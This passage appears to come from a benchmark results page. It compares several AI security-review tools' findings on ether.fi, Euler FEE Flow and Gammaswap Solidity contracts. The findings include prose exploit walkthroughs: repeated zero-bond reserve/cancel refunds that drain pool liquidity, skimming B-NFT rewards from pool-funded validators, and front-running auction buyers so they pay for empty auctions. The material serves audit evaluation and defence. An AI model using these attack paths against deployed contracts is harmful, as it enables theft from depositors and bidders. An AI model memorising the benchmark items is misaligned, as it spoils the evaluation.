Base the refund on what the staker actually escrowed. Record per validator whether the deposit was made in LP mode (0 ETH) and, if so, refund nothing to the caller. If the LP funded the 1 ETH registration deposit, account for that loss to the pool rather than paying the caller. Alternatively, block batchCancelDeposit for LP-mode validators and allow only admin cancellation without any payout. Also CWE-372: Store each validator's actual BNFT-player contribution, or the mode it was deposited under, and refund only that amount. Refund nothing for validators whose bond was funded by the LP.
Vercel Security Review
Zero-bond LP-funded reservations receive a 2 ETH cancellation refund
src/LiquidityPool.sol:395Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. LP-funded mode lets registered bNFT holders reserve without paying ETH** -
src/LiquidityPool.sol:298-300```solidity title="src/LiquidityPool.sol:298-300"
function batchDepositWithLiquidityPoolAsBnftHolder(uint256[] calldata _candidateBidIds, uint256 _numberOfValidators, uint256 _validatorIdToShareSafeWith) public whenNotPaused returns (uint256[] memory) {
require(isLpBnftHolder, "IncorrectBnftMode");
return _batchDeposit(_candidateBidIds, _numberOfValidators, 0 ether, _validatorIdToShareSafeWith);
```
**2. Cancelling an unregistered reservation still credits the legacy bond refund** -
src/LiquidityPool.sol:395-398```solidity title="src/LiquidityPool.sol:395-398"
} else {
returnAmount += 2 ether;
numPendingDeposits -= 1;
}
```
**3. The pool pays the caller despite their zero contribution** -
src/LiquidityPool.sol:401-403```solidity title="src/LiquidityPool.sol:401-403"
stakingManager.batchCancelDepositAsBnftHolder(_validatorIds, _bnftStaker);
_sendFund(_bnftStaker, returnAmount);
```
The identity check accepts the reservation's legitimate staker. Cancellation reactivates its bid (
StakingManager.sol:457), allowing repeated reserve/cancel cycles to drain depositor liquidity without validator registration or oracle approval. - Exploit scenario
-
Not specified.
- Recommendation
-
Persist each reservation's actual user-funded bond and refund only its unspent portion. LP-funded reservations must never pay bond refunds to the initiating operator. Apply this to both pre-registration and WAITING_FOR_APPROVAL cancellations without relying on the current global mode.
-
Wrong rewards calculation due to numAssociatedValidators etherfi-6 · 1 writeup High
V12
Pending shared allocations recycle another validator's accrued yield
src/StakingManager.sol:425Predicted severity: High- Root cause
-
Safe recycling checks only the association count, not outstanding ETH or entitlement obligations. Pending allocations count as associated validators in the withdrawal branch, allowing the last real validator's rewards to survive teardown and change beneficiaries.
- Impact
-
Accrued yield belonging to the original pool-backed validator can move to unrelated beneficiaries when a pending shared allocation outlives that validator and is then canceled. A holder that also controls the operator can position a new allocation to capture a recycled safe's residual rewards, including a portion previously attributable to pool depositors.
- Description
-
A holder can allocate a second, still-pending validator sharing the safe of its existing pool-backed validator, provided the TNFT, BNFT and operator checks match. If the existing validator subsequently exits,
getFullWithdrawalPayoutssees more than one associated validator and pays only principal, leaving accrued rewards in the safe. After that full withdrawal removes the exited validator, canceling the remainingSTAKE_DEPOSITEDallocation removes the last association. NodesManager puts the resulting nonempty safe on the reusable stack without distributing its residual rewards. When recycling is enabled, a subsequent allocation assigns those rewards to a new validator's owners and operator.
-
The BNFT holder is compared with an incorrect address etherfi-7 · 2 writeups Medium
V12
Pool-owned bonds cannot satisfy shared-safe ownership checks
src/LiquidityPool.sol:298Predicted severity: Informational- Root cause
-
The shared-safe ownership check assumes the external staker is always the BNFT owner. Pool BNFT mode deliberately separates the external allocation actor from that entitlement owner.
- Impact
-
The specific unresolved security question is whether deploying separate safes and EigenPods instead of the selected shared safe changes delegation, proof coverage, or operational custody assumptions for pool-funded validators. The missing fact is the operational requirement for shared custody/delegation in pool BNFT mode; the searched boundary includes pool and staking entrypoints, node allocation/restaking logic, NFT ownership rules, tests and scripts, which demonstrate the failed owner comparison but do not establish that security requirement.
- Description
-
The shared-safe allocation branch requires the existing BNFT owner to equal
_staker, which is always the external registered holder passed by the pool. In pool BNFT mode, however, successful registration mints that existing BNFT toaddress(this), the liquidity pool, rather than the external holder. Subsequent pool-mode deposits selecting an existing pool-owned validator as their shared-safe target therefore always failWRONG_BNFT_OWNER, even when the pool owns both NFTs and the operator matches. Passing zero avoids the branch but forces allocation of another safe. The intended same-owner sharing path is thus locally unreachable for externally initiated pool-mode allocations; its effect on restaking security configuration is not established.
Devin Security (Deep)
Shared-safe join does not check who will receive the new validator's B-NFT, letting a B-NFT player skim rewards from pool-funded validators
src/StakingManager.sol:431Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
After ether.fi switches the pool to act as the B-NFT holder, a previously approved B-NFT player can attach any number of pool-funded validators to their old withdrawal safe and collect the B-NFT share of all of their staking rewards.
##### What's wrong
This is an incomplete invariant check. The protocol pays the whole safe's rewards to the owners of whichever validator id is passed to
partialWithdraw, and relies on every validator in a shared safe having the same T-NFT owner, B-NFT owner and operator._processDepositenforces this only by checking the ownership of the *existing* validator againstmsg.senderand_staker. It does not know who the *new* validator's B-NFT will go to; that is decided later by the pool'sisLpBnftHoldermode at registration time. The two can differ.##### Who can do it
Mallory is a B-NFT player that the admin registered. In the original mode she deposited validator A (2 ETH) and holds its B-NFT; the pool holds its T-NFT. The admin later calls
updateBnftMode(true)so the pool becomes the B-NFT holder for new validators. Mallory now callsbatchDepositWithLiquidityPoolAsBnftHolder(bids, n, A)with 0 ETH, choosing bids from A's operator, then registers them withbatchRegisterWithLiquidityPoolAsBnftHolder.- Mallory is a registered B-NFT holder in the pool (admin-gated).
- Mallory owns the B-NFT of at least one existing pool validator (from the earlier mode).
- The pool has been switched to
isLpBnftHolder == true, which the tests show is an intended mode.- The pool's
restakeBnftDepositsflag matches the old safe's restaking setting.##### What they get
Safe S now holds validator A (B-NFT: Mallory) and validators B1..Bn (B-NFT: the pool), all funded 32 ETH each by the pool. Mallory calls the permissionless
partialWithdraw(A)whenever rewards accrue. The payout is computed from the whole safe balance and sent to the owners of A, so Mallory receives the B-NFT share (about 8.4% with the default split) of the rewards of every pool-funded validator in the safe, which should have gone to the pool's depositors. She paid nothing for those validators. She can keep adding validators (25 per call) to grow the skim, and she also makesbatchPartialWithdrawOptimizedfail for the mixed set.##### How it works
1. In pool-as-B-NFT-holder mode, Mallory deposits new validators with
_validatorIdToShareSafeWith = Aand 0 ETH (src/LiquidityPool.sol:298-301, 314-320).2.
_processDeposit(src/StakingManager.sol:434-436) checks only that the pool owns A's T-NFT, Mallory owns A's B-NFT, and the operators match, then registers the new id into A's safe (src/StakingManager.sol:437-440).3. Mallory registers via the pool path;
_registerValidatormints the new B-NFT to the pool, not to Mallory (src/LiquidityPool.sol:311, src/StakingManager.sol:411).4.
EtherFiNodesManager.partialWithdraw(A)computes payouts from the entire safe balance (src/EtherFiNodesManager.sol:504-531, src/EtherFiNode.sol:219-225) and pays them to A's owners (src/EtherFiNodesManager.sol:533-540), so Mallory receives the B-NFT share of all validators' rewards. - Exploit scenario
-
Not specified.
- Recommendation
-
Enforce the invariant at registration rather than only at deposit: in
_registerValidator, when the safe already has validators, require that_bNftRecipientand_tNftRecipientequal the B-NFT and T-NFT owners of an existing validator in that safe (or store the intended B-NFT recipient at deposit time and compare). Alternatively, in_processDeposit, reject sharing when the pool is inisLpBnftHoldermode and the shared validator's B-NFT is not owned by the pool. Test: create a validator in player mode, switch toupdateBnftMode(true), attempt a shared-safe deposit against it and assert it reverts.
-
Queued withdrawals are not claimed by forcePartialWithdraw etherfi-8 · 1 writeup Medium
V12
Unclaimed router assets inflate immediate reward payouts
src/EtherFiNode.sol:282Predicted severity: Medium- Root cause
-
The node conflates claimable assets with locally available ETH when quoting immediate payouts. The caller's bounded or omitted claim step does not guarantee that every asset included in that quote has been transferred into the safe.
- Impact
-
Mature queues larger than the manager's claim limit can block reward withdrawal transactions despite ample claimable assets, and retries do not reduce the queue because the transaction rolls back. A separate successful claim transaction or increased claim limit can recover the path; this is a reversible reward-withdrawal failure rather than demonstrated loss of principal.
- Description
-
withdrawableBalanceInExecutionLayerincludes all claimable router withdrawals, although those amounts are not yet held by the safe.getRewardsPayoutssplits that entire sum for immediate payment throughwithdrawFunds. The manager's ordinary partial withdrawal claims onlymaxEigenlayerWithdrawalsentries first, so additional matured entries remain included in the payout quote but unavailable to the ETH calls. Its forced partial-withdrawal path does not claim router entries at all. When the calculated payouts exceed the safe's actual balance, failed holder payments are redirected to the treasury and the final treasury payment reverts, rolling back even the bounded claims made earlier.
-
Deposit cancellation may fail if the etherFiNode version is not updated etherfi-9 · 1 writeup Medium
V12
Legacy pending deposits cannot complete migration-dependent lifecycle
src/EtherFiNode.sol:120Predicted severity: High- Root cause
-
ensureLatestVersionis enforced at node deregistration, but its cancellation caller does not perform the required migration. Registration also fails to establish a single authoritative lifecycle representation before changing the manager's phase. - Impact
-
Pending deposits associated with legacy safes can be blocked from refund, and registration can leave an already-funded validator represented as still pending. The condition requires a version-0 pending deposit at upgrade; the reviewed paths contain no successful ordinary staker-accessible migration for that state.
- Description
-
unRegisterValidatorrequires version 1, but the manager's cancellation path calls it without first migrating a legacy version-0 safe. Pending legacy deposits therefore revert withNEED_TO_MIGRATEwhen their staker attempts cancellation. The registration path can update the manager's phase and fund the beacon without migrating the node, whileEtherFiNodesManager.phasecontinues reading the legacy node phase for version-0 safes. When a later withdrawal helper attempts migration, the manager copies that old phase back over the newer manager record. Thus the version guard and legacy-phase fallback together leave upgrade-era pending validators without a coherent cancellation or registration-to-withdrawal path.
-
-
Euler FEE Flow Solidity Periodic fee-revenue auction system. Tasks 1 V12 1/1 Codex Sec 0/1 Pashov Opus 1/1 Pashov GPT-6 0/1 Devin 1/1 Devin (Deep) 1/1 Claude Sec 0/1 Claude Opus 0/1 Vercel 1/1
Periodic fee-revenue auction system.
Read the audit report-
Front-running of the buy function euler-fee-flow-1 · 5 writeups Medium
V12
Unbound inventory permits payment after asset depletion
src/FeeFlowController.sol:91Predicted severity: High- Root cause
-
buy()has a price-side ceiling but no epoch binding or asset-delivery lower bounds. It treats a nonempty list of token addresses as sufficient even after another purchase depleted their balances. - Impact
-
An ordering adversary can acquire the inventory first while a pending buyer subsequently loses payment tokens for no assets. This is conditional on the buyer's price ceiling accepting the new epoch price and the selected tokens accepting zero transfers; an exact ceiling of
pnormally blocks the same-block2pexample. - Description
-
buy()bounds only the current payment price and deadline; it does not bind the transaction to an epoch or expected asset amounts. An earlier purchase can sweep the victim's selected assets and reset the auction before the victim's transaction executes. If the victim'smaxPaymentTokenAmountalso admits the reset price, the victim still pays even though the subsequent balance reads return zero. For example, with the tested multiplier of two and without hitting either price bound, a preceding purchase at pricepmakes a same-block victim pay2pwhen its ceiling is at least2p. The nonempty-array check does not prevent this because the original asset addresses remain in the victim's calldata.
Pashov (Claude Opus 5.5 high)
buy() is not bound to a specific auction epoch: front-run or reordered buyers pay the next epoch's (reset, higher) price for an already-drained contract
src/FeeFlowController.sol:91Predicted severity: High- Root cause
-
The auction state (Slot1) has no epoch identifier, and buy() does not let the caller commit to the epoch or price curve they observed. maxPaymentTokenAmount is an absolute price cap, not a binding to the auction instance. Because each epoch resets the price upward (to at least priceMultiplier x the last price, and at least minInitPrice), a transaction aimed at the old epoch can still pass the cap in the new one.
- Impact
-
Buyers can lose payment tokens and get nothing (or dust) back. This is most likely near the end of an epoch, when the price is close to 0 and the next epoch starts at minInitPrice, or whenever a buyer sets a loose maxPaymentTokenAmount. A mempool observer or block builder can always reorder two competing buys so the loser pays the full new initPrice for an empty contract. They can also deliberately front-run a buyer, take the assets, and leave the victim paying the reset price; that payment goes to paymentReceiver. The whitepaper's promised MEV resistance does not hold for honest bidders.
- Description
-
FeeFlowController runs back-to-back Dutch auctions. Each successful buy() sends the whole current asset balance to the buyer and immediately starts a new epoch whose initPrice is max(paymentAmount * priceMultiplier, minInitPrice) and whose startTime is block.timestamp. buy() takes no argument naming which epoch the caller means to settle. Its only protections are
deadlineandmaxPaymentTokenAmount. A buy transaction signed against epoch N can therefore run in epoch N+1, after another buyer has already settled epoch N, taken every asset, and reset the price. The late transaction still passes all checks as long as the new price is <= maxPaymentTokenAmount. It then pulls payment from the caller and transfers the remaining balances, which are zero or near zero. - Exploit scenario
-
1) Epoch N nears its end: the price has decayed to roughly 0.3 PAY and the contract holds fee tokens worth 50 PAY. minInitPrice = 1 PAY. 2) Victim submits buy([FEE], victim, deadline, maxPaymentTokenAmount = 2 PAY), allowing headroom for gas/price variance. 3) Attacker sees it in the mempool and front-runs with buy([FEE], attacker, ...), paying ~0.3 PAY and receiving all 50 PAY of fees. The new epoch starts at initPrice = max(0.6, 1) = 1 PAY with startTime = now. 4) The victim's transaction runs in the same block: getPrice() = 1 PAY <= 2 PAY, so the victim pays 1 PAY to paymentReceiver and gets a zero balance of FEE. Epoch N+1 is now settled at 1 PAY and the next initPrice becomes 2 PAY. The same thing happens without any attacker whenever two bidders race and the builder orders them.
- Recommendation
-
Bind each purchase to an auction instance. Add a monotonically increasing epochId to Slot1 (it fits in the spare bits next to initPrice/startTime). Make buy() take
epochIdand revert with EpochIdMismatch if it differs from the stored value. Increment epochId each time an auction settles. Optionally also let callers require minimum asset amounts received.
Devin Security
buy() is not tied to an auction epoch, so a front-run or same-block buy makes a later buyer pay for an empty auction
src/FeeFlowController.sol:91Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who front-runs a buyer can make that buyer pay up to their own price cap and receive nothing, because a buy is not bound to the auction it was meant for.
##### What's wrong
This is a missing replay or ordering guard.
buy()takesassets,deadlineandmaxPaymentTokenAmount, but no epoch identifier. When an earlier buy in the same epoch drains the assets and resets the auction, a later pending buy still runs. It pays the new auction price and receives zero balances.##### Who can do it
Alice, a searcher, sends
buy()near the end of an epoch. The price has decayed to near zero, so she setsmaxPaymentTokenAmountto coverminInitPriceas slippage room. Mallory, any address on the network, sees Alice's transaction in the mempool. Mallory submits her ownbuy()first with a higher gas price.- Mallory only needs to send a normal
buy()transaction ordered before Alice's.- Alice's
maxPaymentTokenAmountmust be at least the reset price. The reset price ispaymentAmount * priceMultiplier / 1e18, orminInitPriceat minimum.- The same thing happens without malice when two buyers land in the same block.
##### What they get
Mallory gets all the accumulated fee assets. Alice's transaction then pays the fresh auction price (the full
initPrice, since no time has passed) topaymentReceiverand gets zero tokens back. Alice loses up to hermaxPaymentTokenAmount. The loss is capped by her own slippage setting, and the lost funds go to the protocol's receiver, not to Mallory.##### How it works
1. Mallory's
buy()runs first. It moves every asset balance out of the contract (FeeFlowController.sol:106-110) and resetsslot1with a newinitPriceandstartTime = block.timestamp(lines 113-125).2. Alice's
buy()runs next. The only checks are the deadline, a non-emptyassetsarray, andpaymentAmount <= maxPaymentTokenAmount(lines 92-100).3.
getPriceFromCachereturns the full newinitPrice, becausetimePassedis 0 (lines 139-145).4. If that price fits under Alice's cap, she pays it (line 103). The asset loop then transfers balances of 0 (lines 108-109), and the auction resets again at an even higher price.
- Exploit scenario
-
Not specified.
- Recommendation
-
Add an epoch counter to
Slot1, for example auint16 epochIdnext toinitPriceandstartTime. Makebuy()take anepochIdargument and revert when it does not match the stored value. Increment the counter on every buy. You could also let buyers pass a minimum amount they expect to receive for each asset. To check the fix, write a Foundry test that sends twobuy()calls with the sameepochIdin one block. The second call must revert.
Devin Security (Deep)
buy() is not tied to a specific auction epoch, so a pending bid can pay the next epoch's price for an already-emptied controller
src/FeeFlowController.sol:91Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone watching the mempool can front-run a bidder's
buy()so that the bidder's transaction settles the *next* auction instead, paying up to their slippage cap to the protocol for a controller that no longer holds any assets.##### What's wrong
This is a missing epoch (auction round) binding on a settlement call.
buy()only checks a wall-clockdeadlineand a price capmaxPaymentTokenAmount; nothing in the call says *which* auction the bidder meant to settle. As soon as one buy lands, the contract immediately starts a new auction atpaymentAmount * priceMultiplier, and any still-pendingbuy()whose cap is at least that high will execute against the new auction and pull payment even though the assets were just swept.##### Who can do it
Alice runs a bidding bot for Acme DAO and submits
buy(assets, alice, now + 10 min, 300 USDC)when the auction price is 250 USDC and the controller holds about 300 USDC of fees. Mallory, any searcher with a funded account, sees Alice's transaction in the public mempool and submits her ownbuy()at 250 USDC with higher gas. Mallory's buy lands first, takes the fees, and resets the auction to 250 * 1.1 = 275 USDC (or higher with a larger multiplier). Alice's transaction then executes: 275 USDC is below her 300 USDC cap, so the contract pulls 275 USDC from Alice and transfers her the controller's now-empty balances.- The victim's
maxPaymentTokenAmountmust be at leastpriceMultipliertimes the price they expected (at least 1.1x; the repo's own tests pass caps far above the price).- The victim's
deadlinehas not passed when their transaction is mined.- The attacker only needs a funded
paymentTokenbalance and allowance; no special role.- The same loss happens without a deliberate attacker whenever two honest bids land in the same block or Alice's transaction is delayed past another buy.
##### What they get
Mallory gets the auctioned fees at the normal price, which she could also get by honest competition, so she does not profit from Alice's loss directly. Alice loses up to her full
maxPaymentTokenAmountin payment tokens topaymentReceiverand receives nothing in return. The loss is capped by the cap the victim chose and is limited to the single bidder whose transaction was overtaken; it does not touch other users' funds or the protocol's accrued fees.##### How it works
1. Alice submits
buy()with adeadlineandmaxPaymentTokenAmountwhile the auction price is P (src/FeeFlowController.sol:91).2. Mallory front-runs with her own
buy()at price P; the loop atsrc/FeeFlowController.sol:106-110moves every listed asset out of the controller.3. Mallory's call writes a fresh auction with
initPrice = P * priceMultiplier / 1e18andstartTime = now(src/FeeFlowController.sol:113-125).4. Alice's transaction executes next: the deadline check at line 92 passes,
getPriceFromCacheat line 98 now returns aboutP * priceMultiplier, and the cap check at line 100 passes because her cap was set above that.5. Line 103 pulls that amount from Alice to
paymentReceiver; the loop at lines 106-110 transfers zero balances; Alice has paid for an empty auction. No parameter lets her say "only settle the auction that started atstartTimeS" and have the call revert otherwise. - Exploit scenario
-
Not specified.
- Recommendation
-
Bind each bid to the auction it targets. Add an
epochId(or the expectedstartTime) toSlot1and to thebuy()parameters, increment it on every successful buy, and revert with anEpochIdMismatcherror when the caller's value does not match the stored one. Check it before any token transfer. To verify: write a Foundry test where buyer A and buyer B both preparebuy()with a generousmaxPaymentTokenAmount; execute A's call first, then assert B's call reverts with the mismatch error and that B's payment token balance is unchanged.
Vercel Security Review
Front-run purchases can make pending buyers pay for empty auctions
src/FeeFlowController.sol:91Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Purchases are not bound to an auction** -
src/FeeFlowController.sol:91-93```solidity title="src/FeeFlowController.sol:91-93"
function buy(address[] calldata assets, address assetsReceiver, uint256 deadline, uint256 maxPaymentTokenAmount) external nonReentrant returns(uint256 paymentAmount) {
if(block.timestamp > deadline) revert DeadlinePassed();
if(assets.length == 0) revert EmptyAssets();
```
An unprivileged bidder can front-run a pending purchase, take its requested inventory, and reset the auction (lines 113–125).
**2. The stale purchase still pays** -
src/FeeFlowController.sol:100-103```solidity title="src/FeeFlowController.sol:100-103"
if(paymentAmount > maxPaymentTokenAmount) revert MaxPaymentTokenAmountExceeded();
if(paymentAmount > 0) {
paymentToken.safeTransferFrom(sender, paymentReceiver, paymentAmount);
```
If the victim's deadline remains valid and its cap covers the reset price—for example, 2P with a 2× multiplier—the next transaction transfers payment again.
**3. Empty inventory does not revert** -
src/FeeFlowController.sol:108-110```solidity title="src/FeeFlowController.sol:108-110"
uint256 balance = ERC20(assets[i]).balanceOf(address(this));
ERC20(assets[i]).safeTransfer(assetsReceiver, balance);
}
```
For ERC20s accepting zero transfers, execution succeeds while the victim receives nothing and irreversibly loses its payment.
- Exploit scenario
-
Not specified.
- Recommendation
-
Add a monotonically increasing auction identifier, require buyers to supply the expected identifier, and reject mismatches before transferring payment. Increment it on every successful purchase. Consider per-asset minimum received amounts to protect buyers against inventory changes as well.
-
-
Gammaswap Staking Solidity Gammaswap staking and rewards. Tasks 2 V12 2/2 Codex Sec 1/2 Pashov Opus 1/2 Pashov GPT-6 1/2 Devin 1/2 Devin (Deep) 1/2 Claude Sec 1/2 Claude Opus 1/2 Vercel 1/2
Gammaswap staking and rewards.
Read the audit report-
Vester incorrect burn gammaswap-staking-1 · 9 writeups High
V12
Vesting burns liquid tokens instead of escrow
contracts/VesterNoReserve.sol:240Predicted severity: High- Root cause
-
VesterNoReserve._updateVestingconfuses the owner of vesting receipts with the custodian of the underlying escrow. It burns esGSb from_accounteven though_depositmoved that esGSb toaddress(this). - Impact
-
A fully deposited esGSb position cannot be claimed or withdrawn once positive vesting has accrued, because both operations first attempt the wrong-account burn. Maintaining additional liquid esGSb permits progress only by destroying assets outside the deposit, imposing an additional token loss on the vesting user.
- Description
-
VesterNoReserveuses account-specific cumulative rewards from a reward tracker to admit vesting deposits, then transfers the deposited escrow tokens into the vester and mints nontransferable vesting receipts. On subsequent vesting progress, it burns those receipts and creditscumulativeClaimAmounts, but callsesToken.burn(_account, amount)rather than burning the escrow held by the vester. The configuredRestrictedTokenburns the exact supplied account's balance, and the router grants the loan vester permission to perform that burn. An account that deposited all its available esGSb therefore cannot advance a positive vesting amount without acquiring additional esGSb. If the account does hold additional tokens, the operation destroys those additional tokens while leaving the originally deposited vested escrow in the contract.
Codex Security (GPT-6 Sol)
Vesting esGSb can block claims and burn extra wallet tokens
contracts/VesterNoReserve.sol:324Predicted severity: High- Root cause
-
_deposittransfers esGSb intoVesterNoReserve, but_updateVestinglater passes_accounttoesToken.burn. The restricted token burns that account's real ERC20 balance. Both claim and withdrawal call this update, so the accounting transition requires a second wallet balance while the deposited tokens remain in escrow. - Impact
-
Normal vesting can block recovery of escrow and GS claims; spare esGSb is consumed. The path needs only a user deposit and passage of time, though impact depends on token balances.
- Description
-
After
VesterNoReserveescrows esGSb, its vesting update burns the user's wallet balance. A depositor who used their full balance cannot claim or withdraw after vesting accrues; one with spare esGSb loses those additional tokens. - Exploit scenario
-
user esGSb -> vester escrow -> vesting update ->
burn(_account, amount)-> user wallet balance - Recommendation
-
Burn esGSb from
address(this)inVesterNoReserve._updateVesting, matching the deposit custody address.
Pashov (Claude Opus 5.5 high)
VesterNoReserve burns vested esGSb from the user's wallet instead of the vester's escrow
contracts/VesterNoReserve.sol:312Predicted severity: High- Root cause
-
The wrong burn target in
_updateVesting:burn(_account, amount)should beburn(address(this), amount). The vester is a handler on esGSb, so it can burn from any address. - Impact
-
(1) A user with no spare esGSb in their wallet hits an ERC20 burn underflow in every call that runs
_updateVestingonce some time has passed:claim,depositandwithdraw. Their escrowed esGSb and the GS already vested are frozen in the vester. BecauseStakingRouter.claim()also callsloanVester.claimForAccount, the router's main claim path reverts for that user too, which blocks claiming fee, esGS and other rewards through it. (2) A user who does hold extra esGSb loses it: the wallet balance is burned a second time while the escrowed copy stays in the vester forever. The vester's esGSb balance also grows without bound, so the esGSb supply is accounted wrongly. - Description
-
When esGSb is deposited for vesting,
_depositmoves the tokens from the user into the VesterNoReserve contract (safeTransferFrom(_account, address(this), _amount)). As the escrowed amount vests,_updateVestingshould burn the vested esGSb that the vester holds. Instead it callsIRestrictedToken(esToken).burn(_account, amount), which burns from the user's own wallet. The siblingVestercontract correctly burnsaddress(this)(Vester.sol line 387). - Exploit scenario
-
Alice earns 100 esGSb and vests all of it through
StakingRouter.vestEsGsb(100e18). Her wallet esGSb balance is now 0. One month later she callsStakingRouter.claim(). This reachesVesterNoReserve._claim, then_updateVesting, which computes about 8.2e18 vested and callsesGsb.burn(alice, 8.2e18). That reverts with 'burn amount exceeds balance'. Every later claim, deposit or withdraw also reverts, so her esGSb and the GS she is owed are locked permanently. If Bob instead keeps 50 unvested esGSb in his wallet, each claim silently destroys part of those 50 tokens. - Recommendation
-
Burn from the vester's own balance, matching
Vester:IRestrictedToken(esToken).burn(address(this), amount);. Add tests that vest, warp time, then claim and withdraw on VesterNoReserve.
Pashov (Codex GPT-6 Sol high)
Vesting burns the user's wallet tokens instead of escrowed esGSb
contracts/VesterNoReserve.sol:324Predicted severity: High- Root cause
-
_updateVesting passes _account to IRestrictedToken.burn, while _deposit escrows esToken in address(this).
- Impact
-
High severity because the ordinary vesting path can freeze both the claim and escrowed principal and can burn extra wallet tokens. Vested GS is frozen for ordinary users, and users who hold extra esGSb lose tokens beyond the amount they deposited. Escrowed tokens remain unburned, breaking the intended supply conversion.
- Description
-
When vesting advances, the contract burns esGSb from the beneficiary's wallet even though deposit transferred the vesting principal into the vester. A beneficiary with no additional wallet esGSb cannot claim or withdraw after any amount has vested. If the beneficiary has wallet esGSb, the claim destroys those extra tokens while leaving the escrowed principal unburned.
- Exploit scenario
-
A user deposits their entire esGSb balance and waits for vesting. On claim, _updateVesting computes a positive amount, then burn(user, amount) reverts because the wallet balance is zero; withdrawal also calls _claim and reverts.
- Recommendation
-
Burn esToken from address(this), the escrow holder, when vesting advances.
Devin Security
Loan vester burns vested esGSb from the user's wallet instead of its own escrow, locking deposits
contracts/VesterNoReserve.sol:313Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Every user who vests esGSb through the loan vester either loses esGSb from their wallet or gets their vested esGSb and GS rewards stuck, because each claim, deposit, or withdraw reverts once their wallet holds less esGSb than the newly vested amount.
##### What's wrong
This is an accounting bug: the contract burns the wrong holder's tokens. When vesting progresses,
_updateVestingshould burn the esGSb that the vester itself holds in escrow. Instead it burns the same amount from the user's own wallet. The Vester contract it was copied from burns fromaddress(this).##### Who can do it
Alice, a borrower on Acme's GammaSwap deployment, earns esGSb and calls
vestEsGsbon the StakingRouter to deposit all of it into the loan vester. Her wallet now holds 0 esGSb. A week later she callsclaim()to collect her vested GS. The call reverts, and so do later claims andwithdrawEsGsb(). No attacker is needed. The flaw triggers during normal use.- The loan vester (
coreTracker.loanVester) is deployed bysetupGsStakingForLoan.- The user has deposited esGSb and some time has passed.
- The user's wallet esGSb balance is below the amount vested since the last update. If it is not, the wallet tokens are burned.
##### What they get
Alice cannot claim her vested GS, and she cannot withdraw her escrowed esGSb, because
_withdrawfirst calls_claim, which calls_updateVesting. Her tokens stay locked in the vester for good. If Alice does hold extra esGSb in her wallet, it is silently burned, while the escrowed copy stays in the vester and is never burned. This affects every user of the loan vester. The GS-side Vester and the pool vesters are not affected.##### How it works
1.
StakingRouter.vestEsGsbcallsdepositForAccounton the loan vester, and_depositmoves the user's esGSb into the vester (VesterNoReserve.sol:245).2. On a later claim, deposit, or withdraw,
_updateVestingcomputes the vested amount and reduces the user's vester balance (VesterNoReserve.sol:313-322).3. It then calls
IRestrictedToken(esToken).burn(_account, amount), which burns from the user's wallet instead of the vester's escrow (VesterNoReserve.sol:324).4.
RestrictedToken.burncalls ERC20_burn, which reverts when the wallet balance is too low, so the whole transaction reverts (RestrictedToken.sol:39-43).5.
_withdrawcalls_claimfirst, so the user also cannot get the escrowed esGSb back (VesterNoReserve.sol:291-302). - Exploit scenario
-
Not specified.
- Recommendation
-
Change line 324 to
IRestrictedToken(esToken).burn(address(this), amount);to match Vester.sol. To check the fix, add a test that deposits a user's entire esGSb balance into the loan vester and advances time. Then confirm thatclaim()andwithdraw()succeed and the user receives GS. Also confirm that the vester's esGSb balance drops by the vested amount and the user's wallet balance does not change.
Devin Security (Deep)
VesterNoReserve burns vested esGSb from the user's wallet instead of from the vester, which bricks claims and withdrawals
contracts/VesterNoReserve.sol:312Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Any user who vests esGSb in the loan vester either loses extra esGSb from their wallet or, if their wallet is empty, can never claim their GS or withdraw their deposit again.
##### What's wrong
This is a wrong-account burn. On deposit the vester pulls esGSb from the user into itself. When tokens vest,
_updateVestingcallsesToken.burn(_account, amount), burning from the user's wallet, while the matching line inVesterburns fromaddress(this). The deposited esGSb stays locked in the vester and the user is charged a second time.##### Who can do it
Alice, a borrower at Acme Capital, earns esGSb and calls
StakingRouter.vestEsGsbto vest all of it. A day later she callsStakingRouter.claim. Nobody attacks her; the contract burns from the wrong balance.- Alice has deposited esGSb into the loan vester (
coreTracker.loanVester).- Some vesting time has passed so
_getNextClaimableAmountis non-zero.- Reaching the vester in the current wiring requires the owner to have enabled a path that gives users
cumulativeRewardsin the core loan reward tracker (for examplesetInPrivateStakingMode(false)on it throughexecute) or to have setbonusRewardsor turned offhasMaxVestableAmount; with the default wiringStakingRouter.stakeEsGsbtargets the main reward tracker, where esGSb is not a deposit token, so the vest cap starts at zero.##### What they get
If Alice holds no spare esGSb, every
claim,withdraw, and furtherdepositon the loan vester reverts inside_updateVesting, so her deposited esGSb and the GS it should turn into are stuck forever. BecauseStakingRouter.claimcalls the loan vester for every user, her router-levelclaimalso reverts and she must claim each tracker directly. If Alice does hold spare esGSb, the vester burns it from her wallet while keeping her deposit, so she pays twice for the GS she receives. This affects every Acme user who uses the loan vester; it does not cross into other users' balances.##### How it works
1. Alice deposits;
_deposittransfers her esGSb into the vester and mints her a vester balance (contracts/VesterNoReserve.sol:245-247).2. Later she claims;
_claimcalls_updateVesting(contracts/VesterNoReserve.sol:278-279).3.
_updateVestingcomputes the vested amount, reduces her vester balance, and then callsIRestrictedToken(esToken).burn(_account, amount)against her wallet, not the vester (contracts/VesterNoReserve.sol:321-324).4.
RestrictedToken.burnreverts if her wallet balance is belowamount, which makesclaim,withdraw, anddepositall fail from then on; if it succeeds, the tokens the vester holds are never burned (contracts/tokens/RestrictedToken.sol:39-43).5. The reserve-based
Vesterburns fromaddress(this)on the same step, showing the intended behavior (contracts/Vester.sol:387). - Exploit scenario
-
Not specified.
- Recommendation
-
Change line 324 to
IRestrictedToken(esToken).burn(address(this), amount);to matchVester. Verify with a test that deposits a user's entire esGSb balance intoVesterNoReserve, advances time, and confirmsclaimandwithdrawsucceed and that the vester's esGSb balance decreases by the vested amount while the user's wallet balance is unchanged.
Claude Security (Sonnet 5.5)
VesterNoReserve burns vested esGSb from the account's wallet using its handler privilege instead of from the vester's own escrow
contracts/VesterNoReserve.sol:324Predicted severity: Medium- Root cause
-
